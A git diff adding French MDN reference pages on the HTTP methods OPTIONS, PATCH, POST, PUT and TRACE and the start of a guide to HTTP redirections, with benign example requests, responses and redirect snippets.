+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Peut être mise en cache")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Identifier_les_méthodes_HTTP_autorisées">Identifier les méthodes HTTP autorisées</h3>
+
+<p>Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :</p>
+
+<pre>curl -X OPTIONS http://example.org -i</pre>
+
+<p>La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :</p>
+
+<pre>HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+</pre>
+
+<h3 id="Requête_de_pré-vérification_cross-origin_CORS">Requête de pré-vérification cross-origin <a href="https://developer.mozilla.org/fr/docs/Glossaire/CORS">CORS</a></h3>
+
+<p>En <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, une requête de pré-vérification est envoyée avec la méthode <code>OPTIONS</code> afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode <code>POST</code>. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés <code>X-PINGOTHER</code> et <code>Content-Type</code>. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.</p>
+
+<pre>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes <code>POST</code>, <code>GET</code>, and <code>OPTIONS</code> sont utilisables pour interroger la ressource.  Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.OPTIONS")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>en-tête {{HTTPHeader("Allow")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li>
+</ul>
diff --git a/files/fr/web/http/méthode/patch/index.html b/files/fr/web/http/méthode/patch/index.html
new file mode 100644
index 0000000000..aca3dfe6d4
--- /dev/null
+++ b/files/fr/web/http/méthode/patch/index.html
@@ -0,0 +1,89 @@
+---
+title: PATCH
+slug: Web/HTTP/Méthode/PATCH
+translation_of: Web/HTTP/Methods/PATCH
+---
+<p>La <strong>méthode <code>PATCH</code> d'une requête HTTP</strong> applique des modifications partielles à une ressource.</p>
+
+<p>La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme <code>POST</code>, la méthode HTTP <code>PATCH</code> n'est pas listée comme étant idempotent, contrairement à <code>PUT</code>. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.</p>
+
+<p>Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).</p>
+
+<p>Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête possède un corps de message (body)</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Une requête traitée avec succès retourne une réponse avec un corps de message (body)</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Utilisation au sein des <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Requête">Requête</h3>
+
+<pre class="line-numbers  language-html">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description des changements]</pre>
+
+<h3 id="Réponse">Réponse</h3>
+
+<p>Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.</p>
+
+<pre class="newpage">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "PATCH")}}</td>
+   <td>Méthode PATCH pour HTTP (PATCH Method for HTTP)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur.</li>
+</ul>
diff --git a/files/fr/web/http/méthode/post/index.html b/files/fr/web/http/méthode/post/index.html
new file mode 100644
index 0000000000..e534246de7
--- /dev/null
+++ b/files/fr/web/http/méthode/post/index.html
@@ -0,0 +1,119 @@
+---
+title: POST
+slug: Web/HTTP/Méthode/POST
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP <code>POST</code></strong> envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.</p>
+
+<p>La différence entre <code>PUT</code> et {{HTTPMethod("POST")}} tient au fait que <code>PUT</code> est une méthode idempotente. Une requête <code>PUT</code>, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes <code>POST</code> successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p>
+
+<p>Une requête <code>POST</code> est habituellement envoyée via un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulaire HTML</a> et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut<dfn> {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}}</dfn> :</p>
+
+<ul>
+ <li><code>application/</code><dfn><code>x-www-form-urlencoded</code> : les valeurs sont encodées sous forme de couples clé-valeur séparés par <code>'&amp;'</code>, avec un <code>'='</code> entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires  (utilisez <code>multipart/form-data</code> à la place)</dfn></li>
+ <li><dfn><code>multipart/form-data</code></dfn></li>
+ <li><dfn><code>text/plain</code></dfn></li>
+</ul>
+
+<p>Lorsque la requête <code>POST</code> est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, <code>la méthode POST</code> est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :</p>
+
+<ul>
+ <li>Annotation de ressources existantes</li>
+ <li>Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles;</li>
+ <li>Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données;</li>
+ <li>Extension d'une base de données au travers d'une opération d'ajout.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse inclut un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe","Sûre")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent","Idempotente")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable","Peut être mise en cache")}}</th>
+   <td>Seulement si une information de péremption est incluse</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">POST /index.html
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Un formulaire simple utilisant le type de contenu par défaut <code>application/x-www-form-urlencoded</code> :</p>
+
+<pre class="line-numbers  language-html">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Un formulaire utilisant le type de contenu <code>multipart/form-data</code> :</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/put/index.html b/files/fr/web/http/méthode/put/index.html
new file mode 100644
index 0000000000..d6e7dbeeb7
--- /dev/null
+++ b/files/fr/web/http/méthode/put/index.html
@@ -0,0 +1,95 @@
+---
+title: PUT
+slug: Web/HTTP/Méthode/PUT
+tags:
+  - HTTP
+  - HTTP method
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode HTTP PUT</strong> crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.</p>
+
+<p>La différence entre <code>PUT</code> et <a class="new" href="https://developer.mozilla.org/fr/docs/Web/HTTP/Methods/POST" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>POST</code></a> tient au fait que <code>PUT</code> est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet <em>de bord</em>). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La requête a un corps</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse de succès a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Sûre")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Peut être mise en cache")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisée dans les  <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a></th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">PUT /new.html HTTP/1.1
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Requête">Requête</h3>
+
+<pre>PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;New File&lt;/p&gt;</pre>
+
+<h3 id="Réponses">Réponses</h3>
+
+<p>Si la ressource ciblée ne possède pas de représentation courante et que la requête <code>PUT</code> en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse{{HTTPStatus("201")}} (<code>Created</code>).</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /new.html</pre>
+
+<p>Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit {{HTTPStatus("200")}} (<code>OK</code>) ou {{HTTPStatus("204")}} (<code>No Content</code>), pour indiquer la réussite de la requête.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existing.html
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/fr/web/http/méthode/trace/index.html b/files/fr/web/http/méthode/trace/index.html
new file mode 100644
index 0000000000..cc58e561ca
--- /dev/null
+++ b/files/fr/web/http/méthode/trace/index.html
@@ -0,0 +1,77 @@
+---
+title: TRACE
+slug: Web/HTTP/Méthode/TRACE
+tags:
+  - HTTP
+  - Reference
+  - requête
+translation_of: Web/HTTP/Methods/TRACE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>méthode</strong> <strong>HTTP <code>TRACE</code> </strong>effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.</p>
+
+<p>Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de <code>message/http</code>. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">La demande a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Une réponse réussie a un corps</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Autorisé dans les formulaires HTML</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">TRACE /index.html
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "TRACE", "4.3.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("http.methods.TRACE")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Méthode">Méthodes HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/redirections/index.html b/files/fr/web/http/redirections/index.html
new file mode 100644
index 0000000000..d3a809e3c3
--- /dev/null
+++ b/files/fr/web/http/redirections/index.html
@@ -0,0 +1,261 @@
+---
+title: Redirections en HTTP
+slug: Web/HTTP/Redirections
+tags:
+  - Guide
+  - HTTP
+  - redirections
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les <em><strong>redirections HTTP</strong></em>, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc.</div>
+
+<h2 id="Principe">Principe</h2>
+
+<p>En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : <em>les redirections</em>. Les redirections HTTP sont des réponses avec un code d'état de <code>3xx</code>. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales.</p>
+
+<h3 id="Redirections_permanentes">Redirections permanentes</h3>
+
+<p>Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Code</th>
+   <th scope="col">Texte</th>
+   <th scope="col">Traitement des méthodes</th>
+   <th scope="col">Cas d'utilisation typique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>301</code></td>
+   <td><code>Moved Permanently</code></td>
+   <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br>
+    Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td>
+   <td>Réorganisation d'un site Web.</td>
+  </tr>
+  <tr>
+   <td><code>308</code></td>
+   <td><code>Permanent Redirect</code></td>
+   <td>Méthode et corps de la requête inchangés.</td>
+   <td>Réorganisation d'un site Web, avec des liens/opérations non-GET.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr1" name="attr1"></a>[1] La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>308</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code>.</p>
+
+<h3 id="Redirections_temporaires">Redirections temporaires</h3>
+
+<p>Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Code</th>
+   <th scope="col">Texte</th>
+   <th scope="col">Traitement des méthodes</th>
+   <th scope="col">Cas d'utilisation typique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>302</code></td>
+   <td><code>Found</code></td>
+   <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br>
+    Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td>
+   <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens.</td>
+  </tr>
+  <tr>
+   <td><code>303</code></td>
+   <td><code>See Other</code></td>
+   <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br>
+    Les autres sont changées en <code>GET</code> (le corps est perdu).</td>
+   <td>Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération.</td>
+  </tr>
+  <tr>
+   <td><code>307</code></td>
+   <td><code>Temporary Redirect</code></td>
+   <td>Méthodes et corps inchangés</td>
+   <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que <code>302</code> lorsque des liens/opérations non-GET sont disponibles sur le site.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr2" name="attr2"></a>[2] La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>307</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code></p>
+
+<h3 id="Redirections_spéciales">Redirections spéciales</h3>
+
+<p>En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Code</th>
+   <th scope="col">Texte</th>
+   <th scope="col">Cas d'utilisation typique</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>300</code></td>
+   <td><code>Multiple Choice</code></td>
+   <td>Pas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} <code>OK</code> status.</td>
+  </tr>
+  <tr>
+   <td><code>304</code></td>
+   <td><code>Not Modified</code></td>
+   <td>Rafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Autre_façon_de_spécifier_les_redirections">Autre façon de spécifier les redirections</h2>
+
+<p>Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p>
+
+<h3 id="Redirections_HTML">Redirections HTML</h3>
+
+<p>Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur <code>refresh</code>, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée.</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta http-equiv="refresh" content="0; URL=http://www.example.com/" /&gt;
+&lt;/head&gt;
+</pre>
+
+<p>L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité.</p>
+
+<p>Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu.</p>
+
+<div class="note">
+<p>Notez que ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger.</p>
+</div>
+
+<h3 id="Redirections_JavaScript">Redirections JavaScript</h3>
+
+<p>Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée.</p>
+
+<pre class="brush: js">window.location = "http://www.example.com/";</pre>
+
+<p>Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple.</p>
+
+<h3 id="Ordre_de_priorité">Ordre de priorité</h3>
+
+<p>Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant:</p>
+
+<ol>
+ <li>Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue.</li>
+ <li>Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP.</li>
+ <li>Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client.</li>
+</ol>
+
+<p>Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars.</p>
+
+<h2 id="Cas_dutilisation">Cas d'utilisation</h2>
+
+<p>Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum.</p>
+
+<h3 id="Alias_de_domaine">Alias de domaine</h3>
+
+<p>Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique).</p>
+
+<p>Un alias de domaine peut être fait pour plusieurs raisons:</p>
+
+<ul>
+ <li>Élargir la portée de votre site. Un cas courant est celui où votre site se trouve sous le domaine <code>www.example.com</code> et où l'accès à vos pages à partir de <code>example.com</code> devrait également être possible. Dans ce cas, des redirections vers <code>www.example.com</code> sont mises en place, pour les pages de <code>example.com</code>. Vous pouvez également fournir des noms synonymes couramment utilisés ou des fautes de frappe fréquentes de vos noms de domaine.</li>
+ <li>Passer à un autre domaine. Par exemple, votre société a été renommée et lorsqu'on recherche l'ancien nom, vous voulez que les gens habitués à l'ancien site Web de la société vous trouvent sous le nouveau nom.</li>
+ <li>Forcer HTTPS. Les requêtes vers la version HTTP non sécurisée de votre site seront redirigées vers la version HTTPS de votre site.</li>
+</ul>
+
+<h3 id="Maintenir_les_liens_en_vie">Maintenir les liens en vie</h3>
+
